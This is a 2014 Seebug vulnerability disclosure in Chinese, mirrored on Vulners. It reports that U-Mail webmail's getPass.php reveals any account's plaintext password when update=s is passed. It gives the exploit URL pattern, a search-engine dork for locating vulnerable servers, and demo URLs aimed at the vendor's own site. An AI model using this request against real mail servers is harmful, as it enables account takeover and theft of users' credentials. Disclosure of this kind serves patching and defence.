Search...

U-Mail邮件系统获取指定账户权限（任意用户明文密码查询）

2014-05-22T00:00:00
ID SSV:95426
Type seebug
Reporter Root
Modified 2014-05-22T00:00:00

Description

简要描述：

可获取该系统指定用户权限，最近看发这套的人挺多的，不知道我这个你们觉得鸡肋不

详细说明：

u-mail取回密码处设计不当，导致任意用户密码可越权查看，当update=s时，可查看任意账户密码

http://mail.xxx.com/webmail/getPass.php?email=Services@xxx.com&update=s

直接查看指定邮箱账户密码

<img src="https://images.seebug.org/upload/201405/221647055d477d9bda2dcaadeeff57bef1c63599.png" alt="QQ20140522-1.png" width="600" onerror="javascript:errimg(this);">

接下来想做什么都可以了。 谷歌: Powered by U-Mail 邮件服务器

<img src="https://images.seebug.org/upload/201405/22164739089d7cb1ca0a05609137704f1fe65efb.png" alt="QQ20140522-2.png" width="600" onerror="javascript:errimg(this);">

官网Demo： http://mail.comingchina.com/webmail/getPass1.php?email=umailtry@comingchina.com&update=s http://mail.comingchina.com/webmail/getPass2.php?email=umailtry@comingchina.com&update=s

漏洞证明：

<img src="https://images.seebug.org/upload/201405/221647055d477d9bda2dcaadeeff57bef1c63599.png" alt="QQ20140522-1.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201405/22164739089d7cb1ca0a05609137704f1fe65efb.png" alt="QQ20140522-2.png" width="600" onerror="javascript:errimg(this);">

JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by